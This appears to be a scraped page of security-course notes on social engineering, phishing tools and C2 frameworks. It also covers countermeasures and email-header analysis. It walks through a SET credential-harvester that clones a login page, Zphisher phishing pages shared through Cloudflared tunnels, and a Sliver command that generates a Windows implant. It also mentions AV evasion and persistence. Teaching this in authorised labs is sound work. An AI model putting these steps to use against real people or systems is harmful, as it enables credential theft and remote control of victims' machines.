Social Engineering, Phishing and C2

Social engineering manipulates people into giving up information or access, instead of attacking technology directly. It relies on pressure and trust: "Your CEO asked you to do this", "Do it within 10 minutes", "This is your bank", "You've won 10 lakh", "Only 2 left".

Types of social engineeringSearch on YouTubeBookmarkSaved

Attacks fall into three groups by the medium used.

(a) Human-basedSearch on YouTubeBookmarkSaved

Sensitive information collected by direct interaction with victims.

(b) Computer-basedSearch on YouTubeBookmarkSaved

(c) Mobile-basedSearch on YouTubeBookmarkSaved

• Malicious / fake security apps — attackers publish apps with attractive features and names similar to popular apps; victims install them and leak credentials.
• SMS (smishing) — a message that looks like an urgent bank or company alert asks the victim to call a number, where the attacker then asks for card numbers and other details.

CountermeasuresSearch on YouTubeBookmarkSaved

Policies are useless unless taught and reinforced by employees.

• Password policies — periodic change, no guessable passwords, account lockout after failed attempts.
• Physical security — ID cards and uniforms, escorting visitors, access-area restrictions.
• Training — awareness of all social-engineering methods.
• Access privileges — separate administrator, user and guest accounts with proper authorisation.
• Classification of information — label data as top secret, proprietary, internal use, public, etc.
• Background checks and proper termination — insiders with a criminal background and terminated employees are easy targets.
• Anti-virus / anti-phishing — multiple layers at the end-user and mail-gateway level.
• Two-factor authentication — for high-risk services such as VPNs, instead of fixed passwords.

Phishing toolsSearch on YouTubeBookmarkSaved

Common social-engineering toolkits: SET (Social-Engineer Toolkit), Zphisher, Gophish, Evilginx, PhishX.

SET (Social-Engineer Toolkit)Search on YouTubeBookmarkSaved

SET builds realistic scenarios — phishing emails, credential-harvest pages, USB-baiting templates. A responsible demo uses an isolated lab network, test accounts, and written authorisation. Its menu includes the Web Attack module, which bundles several browser attacks:

• Java Applet Attack — spoofs a Java certificate and delivers a Metasploit payload.
• Metasploit Browser Exploit — delivers a Metasploit browser exploit via an iframe.
• Credential Harvester — clones a site with username/password fields and harvests everything submitted.
• TabNabbing — waits for the user to switch tabs, then changes the page.
• Web-Jacking — uses iframe replacement to make a malicious link look legitimate.
• Multi-Attack — combines several of the above.
• HTA Attack — clones a site and performs PowerShell injection via HTA files.

Credential-harvesting workflow: choose the Credential Harvester, then the Site Cloner, set the IP to Kali's address and give a URL to clone (e.g. http://testaspnet.vulnweb.com/login.aspx). Open Kali's address in the victim's browser; submitted credentials are captured on Kali. The Custom Import option serves a local website folder that must contain an index.html.

Making phishing links look legitimateSearch on YouTubeBookmarkSaved

Attackers hide the real destination with URL shortening services (bit.ly, TinyURL) and temporary public URLs that can expire after a set time. Tunneling services such as serveo.net and Cloudflared expose a locally hosted page on a public URL.

ZphisherSearch on YouTubeBookmarkSaved

Zphisher is an automated phishing tool that sets up phishing pages and captures credentials, used in training and pentest labs.

sudo apt update
sudo apt upgrade
# https://github.com/htr-tech/zphisher

Pick a template (e.g. Facebook traditional login, or Instagram), choose a port-forwarding option (Cloudflared), and share the generated page.

The phishing-to-C2 attack flowSearch on YouTubeBookmarkSaved

1. Initial compromise (phishing). The victim clicks a malicious link or opens an attachment, which installs malware.
2. Malware installation. The malware (a "bot" or "agent") acts as a backdoor to the attacker's infrastructure.
3. C2 connection. The infected device makes a callback to the attacker's C2 server.
4. Communication channel. This callback creates a C2 channel, often over standard protocols like HTTP or HTTPS.
5. Command and control. The C2 server sends commands to the infected device; the attacker can exfiltrate data or spread the infection.

Email spoofing and authenticationSearch on YouTubeBookmarkSaved

Email spoofing forges the sender address so the message looks like it comes from a trusted source (a coworker or known company), often for phishing, malware or fraud. The attacker manipulates the email header. Three protocols defend against it.

DMARC policies (p=):

• p=none — monitor and report only; mail may still be delivered even if SPF/DKIM fail. Used when a domain first sets up DMARC.
• p=quarantine — if SPF or DKIM fail, mark the message as spam/junk.
• p=reject — if SPF or DKIM fail, reject the message outright; it never reaches the inbox.

Analysing an email headerSearch on YouTubeBookmarkSaved

A header tells you whether the message is authentic. Steps:

1. From address — is it a known, trusted domain? Watch for lookalikes (e.g. blessjoaeph@hotmail.com imitating a real name).
2. Authentication results — check that SPF, DKIM and DMARC pass.
3. Suspicious IPs — does the originating IP match the claimed sender? (e.g. 40.92.59.80 is Microsoft's outbound network, expected for Outlook/Hotmail.)
4. Message-ID — usually contains the sending server's domain. If it differs from the From / Return-Path domain, be suspicious.
5. Subject / MIME / Content-Type — watch for urgent subjects ("reset password", "invoice"), HTML-only mail with obfuscated URLs, unusual character sets.
6. Attachments — do not open unexpected .exe, .zip or .pdf attachments; analyse them in a sandbox or VirusTotal.
7. Online tools — MXToolbox (check the sending IP), VirusTotal (check attachments).

Also weigh the social-engineering signals: urgency, and poor grammar or spelling. Email-analysis tools: MXToolbox (mxtoolbox.com), email analyser, header analyser.

Command and Control (C2)Search on YouTubeBookmarkSaved

A C2 server is the remote control point an attacker uses to manage compromised hosts. Its roles are command delivery, data exfiltration, persistent control and staging further payloads. C2 can be centralized, decentralized (P2P) or proxy-based. Example frameworks: Havoc, Empire, Sliver.

Sliver frameworkSearch on YouTubeBookmarkSaved

Sliver is an open-source C2 developed by BishopFox, written in Go (cross-platform, fast, stealthy). Features: encrypted communication (mTLS, WireGuard), cross-platform implants, multiple operators, and support for persistence, lateral movement and beaconing.

Architecture:

• sliver-server — central process that coordinates implants and operators.
• sliver-client — operator console to interact with the server and implants.
• implants — payloads that run on target hosts and beacon to the server.
• listeners — server endpoints (mtls, http, wireguard) that implants connect to.

Generate an implant and run the C2:

# start a listener, then generate the implant
generate --mtls 192.168.56.108 --format exe --save /home/kali/Desktop
jobs                       # list running jobs / listeners

--mtls 192.168.56.108 sets the server address and uses mutual TLS (both sides authenticate with certificates). --format exe produces a Windows executable. --save is where the payload is written. Host the folder (http-server on port 8000), download and run the implant on the Windows target (with security disabled, in the lab), then:

sessions                   # list active sessions
use <session_ID>           # interact with a target

A Sliver session is like a Meterpreter session: a post-exploitation agent that runs commands, transfers files and spawns shells.

Sliver vs MeterpreterSearch on YouTubeBookmarkSaved

Sliver post-exploitation toolkits:

• beacons — scheduled check-ins (heartbeats) from the implant; the implant stays quiet and only contacts the server periodically, executing queued tasks when it beacons.
• cursed — Chrome/Electron toolkit to harvest browser credentials and session cookies and manipulate web apps.
• reaction — rule-based automation; the server responds automatically to implant events (e.g. auto-upload a file when it appears, or run a script when a new session connects).

Symbol obfuscation renames or encodes function names and symbols so the binary looks less like malware to AV/EDR. Persistence in real attacks configures implants to auto-start on boot (registry, scheduled tasks, services) so they reconnect after reboot for long-term access.

Quick self-testSearch on YouTubeBookmarkSaved